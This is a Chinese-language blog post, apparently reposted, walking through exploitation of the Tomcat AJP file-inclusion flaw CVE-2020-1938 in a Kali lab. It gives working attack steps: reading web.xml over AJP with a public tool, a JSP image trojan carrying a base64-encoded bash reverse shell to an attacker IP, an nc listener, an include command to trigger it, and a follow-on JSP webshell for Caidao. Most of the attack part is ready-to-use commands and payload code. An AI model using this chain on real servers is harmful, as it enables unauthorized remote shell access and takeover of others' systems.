• CVE-2020-1938 Tomcat AJP 漏洞到getshell全过程


    一、影响范围(有一些不在影响的范围的版本也会存在)

    受影响版本

    • Apache Tomcat 6
    • Apache Tomcat 7 < 7.0.100
    • Apache Tomcat 8 < 8.5.51
    • Apache Tomcat 9 < 9.0.31

    不受影响版本

    • Apache Tomcat = 7.0.100
    • Apache Tomcat = 8.5.51
    • Apache Tomcat = 9.0.31

    二、漏洞利用

      靶机:kali2020    tomcat 8.5.32

      攻击机:kali2020

    1、

      假设在靶机上,tomcat搭建的网站存在文件上传,但是只可以上传图片的情况下。如何利用此漏洞getshell

    2、探测端口存在8009,或者有一些网站会更改AJP的端口如(8099 8001 8011)反正都试一下吧,本人就遇到过改为8099和8001的

    (说个题外话:有一些网站可能会存在两个tomcat的版本,所以ajp也会两个端口,在验证漏洞的时候找好AJP对应的网站。)

    3、使用大佬写的工具进行文件读取和文件包含(工具文件读取和包含都存在)

    工具地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

    验证漏洞存在先进行文件读取(读取不到web.xml的情况下可以尝试读取一些已知的文件,可能会没有web.xml

    执行语句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目标Ip

    4、上传带有反弹shell语句的图片马

    反弹shell语句:

       bash -i >& /dev/tcp/192.168.25.1/63000 0>&1

    在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换

    <%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    %>

    下载一个图片,使用copy合成图片马

    copy 1.jpg/b + 2.jsp/a 3.jpg

    上传3.jpg

    5、包含3.jpg,并成功反弹shell(必须要已知路径,当前路径即可,所包含的文件必须在ROOT目录下)

    记得要nc监听反弹的端口哦    nc -lvvp 63000

    python Tomcat_file_includ.py -p 8009 -f upload/3.jpg 192.168.25.134

    5、写入一句话木马

    echo 'jsp一句话' > a.jsp    //在a.txt这个文件中输入i love u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。

    6、菜刀连接即可。

  • 相关阅读:
    pycharm初始配置
    个人Python笔记
    Linux硬盘分区
    Linux基础(三)
    Linux基础(二)
    linux基础之基本命令
    计算机网络基础
    计算机操作系统
    计算机基础
    vim编辑器
  • 原文地址:https://www.cnblogs.com/liujizhou/p/13167268.html
Copyright © 2020-2023  润新知